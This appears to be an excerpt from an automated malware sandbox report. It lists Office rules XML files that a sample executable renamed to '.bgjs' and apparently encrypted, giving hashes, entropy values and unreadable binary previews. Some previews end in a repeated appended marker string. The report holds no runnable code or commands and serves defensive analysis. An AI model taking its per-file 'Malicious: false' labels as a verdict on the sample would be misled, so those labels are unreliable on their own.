Preview:	<?xml...8.B....4V......W.o.&.).e.A..qB.......3i.].8.WW......[.~..6..d%..<...p....#...iL.....M......cJn....Hph1..K..b...`5?._.Z....>.i]T]rM?.....c..\.. ..as.!.7.fJ...]<...($...d~.!.\.:...$\(.y.xAc.d..u.R..P.G$..J3..\|s..d.9%.L...[}_.......g......0.iF..$^<.l..L...@.sS]..}.]..v.l I<}".B.. .....&4?...#Ie;_.4.A.(.w...[%.k;....\6yu-q8V..=7......8..J7X.WP=h..$.8.).)._t..-."..p"2H.v.o.My.l..tj8.....@KR.....h..1KN..j......'%.Gn.F.fR..........~..K.......n.Zc..z.?#j...8Q..R.@.(.......F.~.Q.o.V..0.<\|^v./.....t]...._.GnF...xGjzW..d..'ama.[..R..JI...C.....X..@..0.r1.0.x,}7.U.b..PX.....TLU*1..o...\|..A^...v...99.w$s...A..6.zV.....b#...y.s.T...XI.f...@h....t...Bc..H...E..D%c.>..G>..1.Y._....$....u.....^.C,.>..ThR..;.c..y...1..Y...!............2s....e]XE...@)t.E...s...(K..L...Fq.9T....X-r........R..w..}..<.#.k$Q:..@...Btw..!.....[O..lh-..4....-.1../..z..CR.....E.[3.bw].7h8..........b@...K{,.E9Q.e..d...L...}M.S.80.\|?..:.x......K[.k5u9].....^>..[...B

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11464v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.691454646496992
Encrypted:	false
SSDEEP:	24:LPJ3cs9dCDS7WW2DnIdDn1H45yXeyQadbD:VZ9EzWCiz16yuyQadD
MD5:	26D95E29437EFBC2045A8C0EC7A73A93
SHA1:	E82FD1F639E3EDAA33C249E31EF9AD661E468D1C
SHA-256:	7675C24DF49846F92001AF01B978AA59C62EAE5B2EFC7F5489C6A247643811E4
SHA-512:	A3DA85B4BA360C8B3AF777577603D1B2720F5BF7E9E94F4578B0E21E50792C552F9276CEE37823B45F92BEC6D25FD3BE46F51415F9EA1D5C18E74CD813DCF289
Malicious:	false
Preview:	<?xmlN`x....).X.....X..Q..f...#.$.o.Z.Xj..OW.C..Et.....N.^..?...u..<.Q.Ed..l.......>_F6.h~.4.?r_wF.a......N/.!..e.../[...W}-@".+..5N..A......p...........d.......R%p<.R.....s,.?Z...XU.w..y.......Z..4l......X<.$.s..,3....jh./.ks.eh...R[.-.^.oC.._2.8....$..N.....\|9...7g...&...hMH...c.-8..6-.8.V.w>B.......z....S@?... .]w'.3s..2..x..-.......UA..I @..\|.Z..........bFF.46..+.m:[]c`..LE6..w.....^3cy...x......,.>I6.p...P.?....)....\|1.$Q./.X....{u.,...cw".%y.2m8..5.8....s0.u._.O.....E...`....^^....\|9.=Q.......EC.nT]..-F..[...5.......:gMY....2...\|...'.%n...w.j.vG.\p....j.f.ik..Oc.X.l...>V..$.{...m].".Z........\|..}..g..R..P.6..P.KHw.l...'..l.r)-..p..Q..~..xR....z.Fp/..f;..."....9.,..I.]"....kh.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11498v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	747
Entropy (8bit):	7.6793907295022565
Encrypted:	false
SSDEEP:	12:dPF9OV5LVuAwEfopmG0NSXWcXXnI+4iS8+EQJZDJLhRl2unWIw/UkcM0f0o4n8ay:xFQV5YHpmBNSXlXXnIhiS8DotZ20MU0U
MD5:	4CCB2407AF9B2E16BDF466F21B8C20A2
SHA1:	7183EDF47AB229C14C623A88CF0402D01238D475
SHA-256:	60AF18F4B4BE0DDC741F25B9EB3CEEEA2A2DA0566AE0331E3AF50D0CF261521C
SHA-512:	093BD4C44C1B6A717D48AC5E6BA395979D307D55E618459DB6A0DD9E9F002848DC001C41D27D12D259C9DC87594E8D0621638BF3E8617E3EEA3E1947CAB0049D
Malicious:	false
Preview:	<?xml7..?C..g.C<.=.-......;..xE.....vm..k.)..K....E..fL..&\.Z..Z...."x{..Fp\V..Cb2"....jV..T...J...f...GDK../:T.2.F...`.6....U.R3W3;.......1...$..I4.\|.... ......f..l".4~.(W.o..4.........e...x.2.%zcs.a......._.-..y........:.8..c....K..\|.E.x...L..2L./Ic._...W...7j...b ..{.....oWgv..z.V..G[...P.V`.coA..Y..!..K./..-...7%...#q......ux...V.!.%...".5..oB..1..Tjp........._..3-..<...!..U.).2...z.....\.,P...g3.\|n..g.A....ts....{,.vP...>.q......m"y...M....ii....$~k.n.M..2.T\|.u...G..}.!.U0..E..l...3..C..i..........q..?..3....i...C1]."....?D.-u.?.4]m.Y.\...I[zM.+....I..O..+g....}.^...UB.S....,FM..:.43wD.X..h[9..\.....]....}...N.iA.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11499v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1786
Entropy (8bit):	7.912353855428309
Encrypted:	false
SSDEEP:	48:Is37hPjJArDpztOyHTllINMksZ4TPs30sTrLkXyLYzWvD:Is37hPtAPDOy5lINMksZ4Tk3TrLkCK2
MD5:	C8F803910D623D383BF7995F9F4E6100
SHA1:	896CABF70C32589838FACFCA23649CDF9B29DF34
SHA-256:	52E50F21A8D1FDA49EA7D90E938FD357F470425F776901F369EFDC5B7DC7B672
SHA-512:	B47B5A912A86E7755517FE3E20B4E1443F9BDBBF566DC444D5B1D5E51557B97941184FB8B28A4437CD593A7ABAB2B23D414876E21646CFD8F106548DD34EDD62
Malicious:	false
Preview:	<?xml\`/..SS..9.....}{8%..C.9..({...)5......+..s>..=..0.AJ.j..K..h...){e.j..N.).S9.`)"M.......?d..37..Mc.G......z.....i....Epn:.@G.}Z......'.]GD..0..iV.....!/.>. .{...^\|...B_.:..q....3=....@.@..6.....4.."...w.r..{z...M...@.R.]q4.t.XWQ.75..rf.\|.k.{....G.YV9 .....[>...5).$>.....".(O...Z....,4.h...fT.Y0........w._.Y8d.......z...VB....K.H.gG&.f3....3]L...a.....}G.U.X5.3..m.n.`....=.0.....<....R..;..3c..M..[+....Q..0..,......WWPq...~f\|.d....'.+.y.9.d...Y.}f.u.)mOh....1.'.\|W..B.i.....`T...5..Fz....A.....H..p...q 8..&...i.......=;r....h.../8n'...._...5..e..\|...H...f..%,\|....eZK.X.5.d..K_p.........l......X_W\|.uF..(..Q."..B..Y.XZl.x8...rcg.jc......M.P".A.dH.N......0z....v..Ib....h.....nt.%N.[F...D.\|~(.....#(.l.gB.{~;..`.z..dPCRQ".h...a._.'.h.......?.\.r;.>..?=...G....+.E.......hh.'.L.F..;Mx.1[.t4......U.........7..`.v.Q.\|L.Iq...t...9.t.W..^.k..4o.}...i...F..wn!L....r4&\.....B@:NO...............f...m.*.}FM#.#."LB.F.q.U....t.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11500v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	886
Entropy (8bit):	7.773818735319645
Encrypted:	false
SSDEEP:	12:HerbHVBe1SujjfBl2oh3cSRt8d8fdJSne+OeVa2HOBxTJj/ZimQDssJ7j7CLo214:HyC19PPKSLo7YaOzJjBsZB7DtbD
MD5:	815C252B7C2485594A180C07754D64B1
SHA1:	3DE18ACF8BF9F12E7A7A281D92389BC1151FC9A5
SHA-256:	231147DE9348DD05B4711CE608F6766A14CBF50E59E3D73C364EEFDB344B742D
SHA-512:	3921E4C320BCB4F09C43E625B375D749EC80A350DE2A018FD465B0C8399CD518AD11BF965B0AA23EA805CD61E242D50B8E48CF6220265A1E2CABC56036285468
Malicious:	false
Preview:	<?xml.W.....=...c._..4#.C......).x5.^.V..k1\N.C.v&..I...`...c.7A.k......[Ds.\%..m...5Il...vN......\.oe`.)..0_.Rk........SR...k...DaU...#.H...H.&..>..>G.b......K......<~.<\|zq~.....{Ez...[..p..fo:..w@kU%.,.w.l.Q..8...P.-.t,....Z.~BLz.:..o...UP.<...t.<.....?-...A..B.<.$.#3.JYu..=u..G..+W.n..A....7...z...R6\..%s.:..n.8.).-I......uH.....^.?.K.H1...YjKT1......c.P.;<E,knrfZ........s.pj...n...FM..y.7...../.g.l..to...`...w.y^......=....7.O......^.".P...i....LmT..9-..4...k0.C}...e.]..:....]r.....l.b...[i[....tt.L).kg.x.u`.,w.$..#l.K..F.p.\...ZH.......@hx..AV...4.}!.m.[..z.SRh..YQ......./..xF....@......~f.t....F....y..7$..1..m.wq.........?..w...?D......k...,.^$.@8..+..j.....@...7.f..(T7'...uw.2v....NY..w1.U J....x>o..+/zG`.k....`.9...Hr.RZ.@.sg..!(........SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11502v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1324
Entropy (8bit):	7.856505551194315
Encrypted:	false
SSDEEP:	24:I6e6C8dgVNKpQ0FlV+Im781yJU+XvzXSPhuKfJ+UvLoBj0jKLbD:G6C82VNKpFfAIb0LvzXSPMKfw9t0jCD
MD5:	E0C4324B96369FF5CBBC6B1B7C382B18
SHA1:	F0051B239BF608180122B3CC7D60C0359D0B4D80
SHA-256:	BC2EB2EC5555BB45F249D6113EC4ACAC7F142CCC9C6DBFF25A5C62A96252E349
SHA-512:	E0A4AE10169AE3505400495C4DFD4B246D9672A0CF3EA8C01D34843D1CBFC551EFD5408B9B1FFC81F58DFA0C836E19D8AD9007984E68AA0F34DE4179481E5566
Malicious:	false
Preview:	<?xml5.Z...T..yR......c.b....2...]....!.[(..d.t;".....H..J......`.6.j.AG..3Z ." l.ug...}..9.W........@....F.]..]../......n2\z.^..O...{.....5#w......5".......)9....'..t....;T.jT.:qi..z..>..3.[).e\..7\a...Q.9..F.5.Z}.E..Ep....;Ra.~3...9...?.......H...1...!G..K......d..U......;.~-..8..%^aYF..&.1....,...t...\..1....L~f.FB[...~.7N.rf..n%.K...@.(.....Yi...................Qj.4.26.\|..fH.5.....A.bI.9.......2sz.lI.+..z..R._.t....p-s{^..-.'..S.I.+E.D..\R....sM..u.`..d.P(..{ ...D.......G.Y......T.w....`.H`..k..O...Qo....>G.q4Z..04..&...K"-9.9....&?......?..q......Z...8U........cHW.f].X0.>..#.X..!..p..^pT{`..Cz...Y./.....V....4..(e..C........dc..i...M.!4.0...j.-.....>...d..h...w..9W....< ......S4...e]\eN.V<..N..Hb.a.7.kD.?i..f.Ff.o.I......QF...$...S.m.[...&.P%..(..V...T..V,...w.4=..4.c'..q.....E46..-4x"..../^...HhD;.......&...t..]0w.......Q#0&w..7..SM....'.UxEI.D{..B....[{h=`.n..3....p.$X.@.sM..UZ.Q.X.k.GQ..m..&^.......f.K.0.A.[.D.C._B._p~8?my

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11504v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.855819866767057
Encrypted:	false
SSDEEP:	24:YN0OoHpJr0NOtK2b/k8Kq+1MIBAtgU8KpElVQbzyKaprRV2lTyFsbD:CoHztf/k8J+BOtgDKmlV+zyKaFPkTemD
MD5:	2EB3DDD59E2021C599C2C15EEC280AAA
SHA1:	520A30C433BC5F71E5881D37F89C044B49C896F3
SHA-256:	5CEDE2FD6BC1518D723F3A397B3D8EB1C92B4FB2A6AA81EE174C633BF5A1FDFB
SHA-512:	EAE79E507B0FAD3AC29D50CA07ED07F237E0BE2E2EAE42322B3D732F2711281A8E3140AA408FA85515690E8094E54C328AFB6A4E9E34A11E3E44CCAEA8D192AC
Malicious:	false
Preview:	<?xmleUK...]b......n.xh..<.GR.H\........#.......{.N.-.......p.I.;..;...'.....@h1...\|.x.t.Q%.....m..D..a.......%.D..Hz.,",[..n.R..J#...Z../..O....~..T..ru...........l..........TD....AVwO.B..c.6....O....-....npLR.3{r;]...."..r,.&....;.\.t.p.....5.D...c...1F}...O.....b'7.'.J9.?.Q.+..X....>...1..............pN..'p...l 0?.i..)l... .....<1.r.j.'.Z_...o..K.t'k........V.....0i.T.v.\|.p...x"......d.7.W.`$.A....'..[C..R..f=>6..^.."rf..Is1G.-..../s....<...o\...L.E.i\|..XW!.<.!...............e/.r9j.<.>a.~iO.$.u.....Z......2.2s.lJ.m....L.....Cp$....F...',..N...".l.....[.9..6..... .IIE./..-..,@.o8..@r`..>.i..!.F....._i8.M...IB..T...N..,C!...>.....,........A..2......]/{M8R.d.r>....G\S[(Yxh^.g`..Wil.C?E....jU...i.. .".i.&.....?S..}.../.a....d:>...8..je.Y.,....E\|......F4.."..r+....R..v.....'n.:l..7. ....Ih(...D.....&./../.v....6......a......B`>..;.4.].5.J...A.iZ>.@.....)......vfV.].......`....3...5%.j.J...H...H..(....GMooy:$.. 1x.d.....(N..>.7.0.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11514v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	7119
Entropy (8bit):	7.973847113367658
Encrypted:	false
SSDEEP:	96:FtqtvlnwARdA1tHVgbH6AhUB+11D1uGjTmyL4aI2D9aaNNJZoYPGhJu+Zv0TpUv+:FC5KVgbH6AhUBErUaIwaaUcGhPZsTWix
MD5:	C3C0CF0E1AAFFB787F90FE0FA63AAD1D
SHA1:	431504572CCB00EEA7C1A67E42AC936613B1A973
SHA-256:	07A986E000202899A74BA54A7DB949F6D438B336B393A89686156B82AB5D79B3
SHA-512:	63D19D61DA64475FC712D1CD455D3F54A580083D194356B2472316547E9C21D226B4064D26946DB0133EA6EE52135A90A1FCBE0287CB4A3465404613F3E7AEB8
Malicious:	false
Preview:	<?xml_./.x...u....!.....(.Pu..2._.3.......f.)..C.v....R~.A.D..8#...T8.r.D....@.u.6.y8F....o.'..%)K...A...s.MO...RX.c...P.......<..V.5....?&........a........4.^..s...O.5{B.w.-.....l.1.K...Q.j.....0...-.0.I........Yj..H`....Tx..4)......-y.;@..!..3U.".Z....7.....s..%.cV........i}..)J.v.L...S.!..q..;.\|.....3.p.o..`.sk..............GR .Q.a....dV..TF....K<......Y.....K....1...8...;.:.uBJ..Z...u...&.8[.~.....zW....9[.C..s%.a]h..E......6..DY..q..:...t.-.}k......]}.DU..mN7..E..l..ZT.n.#!..!O.=..v.....h.3v..-..=(..{v.....T..pM.!....vYw.B.....b{.DO.".a..:......N..L{...9....:2..hW....x....\|7.....2...u+..t.....O.H.g.oL,....v....N..qf.....ts.`.AD2..t..)......h.)8.o\|7.."M.p..}.&fXb...b^?.}.A..\.M.s<n.A.VT....l..k.B..{.B.1...k"......x`y.(!w..._...uJ..wl..../z..0......]..A+_].r.........[..H.$..LhF..........;.6.pU...$*0P...B.c..(yb.p...N.+...X..t......4...e.#....\ .e..N.#}....:..I.k..\..SQ...).s.;........r.....#...)..F........n/]`....v/....]

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11659v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	762
Entropy (8bit):	7.716193783001814
Encrypted:	false
SSDEEP:	12:lsCseU57IgiUp+bz1Jka2PkPEeoJygf89zGg8zqFMsmOKOV1+cii9a:lsCm57IxA+VJN2PYEdsKgjFGPbD
MD5:	8EF04A2481688143220FD31FAE30527F
SHA1:	54431F8D36BAE9E58A7798E7882A386268575380
SHA-256:	BE069DA1FBFCAB3F7FCE1A2F1CD1C53D525C7EEFACA2841DD573C3EAADCA334D
SHA-512:	F7D2A0EC130252CA327813420DEE693586352355B8F1C0CF2164368E65C92CD78D0EB39C1B270DEF6F6B66B5BD715BC0EDC38493CD73065851617115CFD3FBAC
Malicious:	false
Preview:	<?xml...C..)..2...k....T....a.(.?..b..N(..M...?.....5Q..{.7..%.%.h.T\|.....,...(AA..P>...fsG.=HqX.n.c.........I.o.q.$..Lj..Eo\4"r>.fy`.F.Of...........g.c.O..2..)..[}e>.............[n<.P.....@F.:O\|E)Ns...\.y.;UK..e#0.....}....eU...LZ..J2.+V'..Y...%.....j..Sh.0.t./!s...0...[....u...o.W.#.....=..\|........a,....1L...E.8@.XmR.j.\T.wc%k.j..D.}..~..7&....M..LWu.r...cOX.*r.%P...U....Y.b..7-v.w.).....z..On..H.E.Lm}.....#@Kk-..!.....0..C.A}..i....Q..L.u.~S.g.........-yKw....P...a.aH.d\|........Mz./y.utI'[A.d..biz..6y.....h2.....}....dI....d.>O.......&o..!...'....2......);..D.Tz.........t...A.r9..G@.m3.eq..a+..0.z...:.~...%..!Y.;...Dt=6}"... .8.@......_...SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11701v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	7.881907924478916
Encrypted:	false
SSDEEP:	24:+lU4/SB6w6DUqZzqR/0hzAGASMZYeyNlqpOGj2BAWomE0l0/fOuT2Z6bD:R4/BwcU1kzAGAVyNloB23l2xT26D
MD5:	89F259ABC128A279D51C411C264D3A64
SHA1:	60EFDBCAB91240FDC885CEB5D9310EC42ACB3B97
SHA-256:	067D7B5999C2E6A0CF0DF7EE4CB21465F30EEAFCF8055CC48F32CE42F8BB10F9
SHA-512:	E2097384D05E4278DDDAF54E31F4FDFC88D85241949D5B8EDB27D88BF7929007558EDB9AEF83DFD4C7F9F6149A40890E9B4ABDF657D4B92E9E8A1D37D8E5D1A9
Malicious:	false
Preview:	<?xml......4...HT......R>.).f......hg.\.W...N.]..D....$....V.53.7.E.m....T.9..V.g..<n.U.y.&... .k?E....]...1.P....?&...>{w.W...@m.v....i...).k\|..&....w..'(.f.R...F.#l.#"....r.O_.VBR.s4....F.Ry..gG..Cns.[.......J.Q.Y#p(O.^....s..&....!..!.l.ax.X/.....5.......A.cF.... ....y8..6.\.t.B.L..;../.a.....d.#...s..G.).).U.hUN.....+...=..g.....B'.Xw..../.H..?...W..C^..".....+.4L..../O=X.7.k\|~:ZE#.7.p.(.69...U...A....zm.6.+.`.a...B.....-k..,..c....{...[a....vt.@.`=.;...9:.q..9"..P...{v-......9...!..F.Tc....2.,Yx...h.dLP.......]..\|....>......H.T..(..g..R.D.@...Kri...9"..TE].t.B..2.>.;F`.'1k.o3.G2...$..8...PF..[.t.}.9.L.T.V..C.....]...].hx.T/h..\(J0y..nJ....a.~....]...........O.xS....9..p.:..$..IsZW=.T...@n.o.)&8L.9^....Sx.....?.+z.H...\;.Q..4.{...s......R....A....8-.!..WM.....<.Bx....N.}Q..7..xw#.k..c_..e....N..%:.N..Vr.A..]."............&5.`F..G.a..]........3$..XuBmj.).u.L.%...a.r....8.1.....N.s.`J..cC..>wmj..*..k....t..tPQF...x( .]>.@].w...M..I..%.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11705v1.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3505
Entropy (8bit):	7.949025460778963
Encrypted:	false
SSDEEP:	96:56syD42Hl6wMmUP3UcpIChs29yNSj9OJjGcvb:56syD4YrMwgIt2YNwUjGqb
MD5:	D8DF98E9E6224C5542B77D4ACDA4F83D
SHA1:	EA5B1559E51C3CD764DD554A27D46EAA62B99A53
SHA-256:	6595BA7C54595FDE2ED357374D5D3BCDB0974F693EC0AB0117CD5491B979767A
SHA-512:	48AEF3645554606F9A29E3EDE47DAEF5ECC205FBA0DD9BA419CAD119275DFFE88B1B946F595A17ABE3C3A45E37DE714730AC3A539C07C304DA201EF6910BB0E6
Malicious:	false
Preview:	<?xml.w....{.^A..q.8.....}............Y.._Aa1.]]....I....l..t.Ei.r.....]...Y>\.&N....Iw.rr..n.I..Fw8.....m.F..G5.q^.dQz;.T.?t.,......o..Fs...0.W.cr.i...4)Nw.0O..g..A{.ed....6?.3. ..).o......k.H=1{.9.Y..;66....M.{&.#.U$~.DU.m....E.'..+...MO.m...O.;5]..M..q^)..I...6.OT(.9...1.D.......4..!.i....e".cN.........xZ.O].T...:..OR.'=.X..3..MmR..#.@.zA....y.L.dy.-.aG.....B.H92;.a.8-...F.g...I.G...x.4r~4.R.K.;$...G....U.oy(..N^.<.Q.{.CA..iST.F..6j.DW.A..C.. ..2.M....(?....AB.`}3.V...l.;q.u4..YI.#...$.si.kS3\..a....@G....O2.......R.?..%..Z:.-...J._.......'...K.s..N..f....uT...ljL.a....&.x..o....l...1'...f..j....u.<.q]..)..,.,.[#.........pA(....7.&i.W.T&.?..z$.........K.R0p..1.Yeq$.L~O..$.H5..8.A0{...H.)........++......4...=.m.HK.....]....H...(._.. .P,..DN.`....w.S.\.r.B....'.o..!....k..7\|..U.A.W..)..9.S.h...-+.C..Kuybl. ......A.V.!...=...2......"......W#/.Z.]...b.M1{{T~....Ozm!./p...Q...\AEb.-[.Z..Y..R...l.......]F<..+..%.X-h...=.\|.D_....aX...4...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11710v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.798799289050425
Encrypted:	false
SSDEEP:	12:CX0oxwG9mvvNOUJiWkTaaJU/1YGdrkCko/rhqFRCy8TFwt8+BGsO7WleZUh/2RnD:boxwmxuxkt4rMRV8+O+GnUhyzFktU3bD
MD5:	A2149990DF8402DB4CFC056ACD2FA527
SHA1:	D9D7DD13B87A670544DF272F2D4D3D523530F7A0
SHA-256:	2A2E8C6BC388A3E174B6E3337F1E7E2B661DE251CA571D1AE54308F80E2E0BFD
SHA-512:	04CB90CD7EE1FE1D66AECDDBDF72E401A1BD8F7FE584DF34BA6D51FBE52B9FC7F5EF02693C6B0F102BADD82A90019DDF45ABDA34D9618E7E190425CE4560D0B1
Malicious:	false
Preview:	<?xml.9...E>..UJ.s.mv.A6h`.r...B)2U.....EaP.O..6dG.Qn.a9Zcl....;.Ul_..\..w...TF0.L..&..e9.;h.E........q..T..2F.\.....m..R....$..@!...j...5.u....&R.S...).o..b....h;..!0..-AA...Q..d..R.I.n...e.98^.Xu9N._.75..?.....9B..Ql.o].v..W.1..J{.~N?.=x@.Kzj....j.6..Z./K............iM.-..._.....d1.1c.BI...~..w.]...L..7...o...?r....aV.#..[..T..(3...B..M\|I....Y..^....P.w...;.}..v...3.T...n.V..T.1...>..A....5.....0...@,.=.>3>....$k....\|.e.....Bt......X.8_@^....Q.......f"....r.7T..6......&.(.;/.w....I.. ...r5...kXW...C.^w.$~K.`!U...a....>p+=F..HVs..#.i>..M..W.a$....}(Z-y..9{z...cp.X#..L...D...X4..........`...._...;..n.\q...E.>.J....y..?.......<K..-!.[...^.M.D5...i.1.......4QT...%.......t.B...t.a....bb.f.....U..E..I.....u....0.~.W.d.8..X..K...O..5..<....*:....#(.#..R......)y..p.iL..+.i..@...$.ij..B^,=.am.0..un...F.A.....J..A&@9;......(..v{.j..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11767v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2983
Entropy (8bit):	7.938128892238558
Encrypted:	false
SSDEEP:	48:xrEBgwM7l9DdbMG/sO9gK0tnnmDQqppWSvWmvhoRpkDSGF+D:tEBbSLDdbMGlt0xYXHV+RpkdFG
MD5:	F09578A178305F07BBA57C0A0BD02ACD
SHA1:	F76997FB7BA3177CBD448F164F32208D36177679
SHA-256:	C24005287C058FF32340386641F4FEA8A9BC6B96A2E29C101553CC6F21AD777C
SHA-512:	978E4E5905750FF28E9CDEE7E6C695670F2F4D5141F7C7AF625364DC4B1A0B5099BDF50C2265496914672D4C2D43B423ABDD21B11950D1FA8D3B3FCE63F5C51F
Malicious:	false
Preview:	<?xml.H):.6.i6d.L..s/c..u_.&)......m.E..d\:?.L....D...8{..u!.:..H.q+..1FT8..I.....NL....D:E~[D%.:<Ba.N`...u/!....\.......,.$.S......u...%j.[..HH..(...3.I{h...#..I.o...[O.1T..+5z.....u...P.x..>G.3.d.=......+.cB.&Y......d...."~..6...FD.K....hi.4....}07.=."Q........Z.F/. G..2........&.>.....k..8..Y..2...3..EH...>&.]r...H.W".....[.uU..1.d........e..<y..-[D..<.1.`.e'..[...r......5rJV..<......t..'..p..VP..0H..e5PHbAY...:x.:.....W~.C.8.j..T....>..L...M..A.R...P.L.. 7........<.B.....o..S.a.J.xs.Pz>..%@.+..!...,f.Mn..~.../.\|......f....F`5....h..@..o"2.S..2..Role...'..F...y%:..g.V.........$.b..o..q\...a.&.]...L..3^a....4zE0A.zJ..be.a..~y.az.\c^_,J...(.....p........,.[XC^dJ\7kk.#u .F...;X..>.}.p}xZ.........'B>.3.5~:%..r..#@>X.#.......p;.........qA.H.6......uk...a..........R.I...TuO%5."`.0...E..q1......8#....R.2UT.._..'.y.CH........,.\|...ak.D......a.J.~. .~...o....l...kr....X...z....L.0.*..U.oU.QOB....K)......H.c.D'.o......K...36.k...E...p..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11768v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2487
Entropy (8bit):	7.921650292425767
Encrypted:	false
SSDEEP:	48:EHo6EGXkfwbx844iYzgEOLZPKNCGNfww9eeKfM4R9jH1pbEU2v/D:P6ExbcEkZiUw9eFfM41pbMD
MD5:	79CEF3E7A5AE973C9C192218DFB92786
SHA1:	221CDD58BA15261AF5B7000AF5FC5637D677C23F
SHA-256:	EA2FB836B46113586A7EDF96451F0729DE70C931434910E4E3AC3036428AFB9C
SHA-512:	98C0C461964B498FFCA0437950580B0722A2253D306532D91EFF6C3D62D1609B9D98B0870832A4955C62431579D3682A5895C9FFCB46526EE48F07A2E12D1DD0
Malicious:	false
Preview:	<?xml.!.\aLk..#.[. .q..Fb.5).!;..M.,.Hw...S.......{...sa....."..K..k.N#b\|.3y...%G..H..^_{..M(n./...o....RCS.^......H.3....O.....x..2....1.q..q.s)..9..Y....GI...v...$......%.b.p.".y....%;...A..Y)b...e.0b.,.:.......D..9.0.z..'>K...M..z.+..F.M....g.m.-.CL]...y.....8....e.8l....T.s....\y..x.......<..'..QE1&..#~...WL.......i._/.i4:..(..Nx....O.:..w.T..z_w....gXs..e.R..&.....7.W.....y2...6...w.~B.)9....jG..U+&c...5....{h......^..j.8I.......;...&.Fv(......:.....`..%(....."......X..R..u.f.y:.P.8.p..c .vV..U.r..T....DP.V.$4.s.m....)6...<.Q..u6. ...+/D^..3.}.xn..,......XL.W_.n...(D&.....p..Yq....}.jU.c.z...5..w....&\]3.-J......&.B&.+.~8..1...O!..x..^KA<..$_....&.M>9D.L#.p".........S.U...8.5`.6........`y....\..x..... .W....N&l........hVO...E.B...I7.A.z!S..R]uT..`XA..]..d...E...{.../r...>.N..........r{gx.Y..#.{..zfA!....\.3d..x.....&..?....N....U.#*.r...4eK.`.......mp...\|..~B,..N^..Z....[.n.:...\..Z.ypszu...3..hC...?..u.>.z.......i.....+Fr..V.k

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule11769v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3132
Entropy (8bit):	7.935657664350295
Encrypted:	false
SSDEEP:	48:R165sAhZJ5oAfl9I+ayX9rJywMC7Um4XyyDHJS6By2tMirzSzkx3IlKKhjlD:QhZJnA+aY9Ff2XzlDBGktYTD
MD5:	7380C29B9BB32CEEA722C1F2DFDDE01F
SHA1:	D58E9E3F974A8D2DE66E5EBFAFE38A9F589F5624
SHA-256:	C890718A51F9D405FF7EE2B43AE543348353ADEE325EC078257195EAF018A15B
SHA-512:	D1A5CE2CB2E4738B31CC26EE69F61CA7980487E5E08D5710C47D523B9C037E99C570F849E930F29A5B869F356E71AF1096B4B847C39A43D971314140C4D5D7F2
Malicious:	false
